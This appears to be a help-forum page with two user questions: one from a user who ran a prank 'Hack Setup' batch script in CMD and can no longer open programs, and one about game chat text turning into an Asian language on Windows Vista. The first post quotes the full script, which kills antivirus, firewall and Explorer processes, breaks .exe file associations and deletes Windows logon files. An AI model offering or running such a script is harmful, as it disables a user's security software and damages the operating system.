I am unable to open Firefox, Photoshop, anything.. You're probably thinking to yourself "then how is he on Firefox now?" well.. the problem started when I typed this in when I was on Firefox using CMD.. didn't know what it was..

title Hack Setup
color 0A
@echo off
set end=md "Hack installing"
set fin=copy "Hack log.txt" "Installing"
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
assoc .exe=txtfile
assoc .txt=mp3file
msg * It is you who is hacked....
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
Thought it would be funny, guess not. That's what I get.. haha.

Thanks everyone, please tell me solutions.

Read other answers

I can't figure out why, and I can't find any help online, but often when I'm playing a video game or something on my Asus laptop using Windows Vista 64bit SP1+2, I go to type a message ingame, and nothing comes up, but then when I hit enter it is entered as an Asian language of some kind. My text continues to be automatically translated until I quit the game entirely. It has happened during a Steam game called Garry's Mod, and Crysis. I'm rather baffled. It would be working fine for hours, then randomly (maybe I hit some kind of hotkey shortcut to start the program?) it would start translating, and only with great effort would I be able to avoid the translation and type in English.

Any idea as to what is causing this to happen?

Read other answers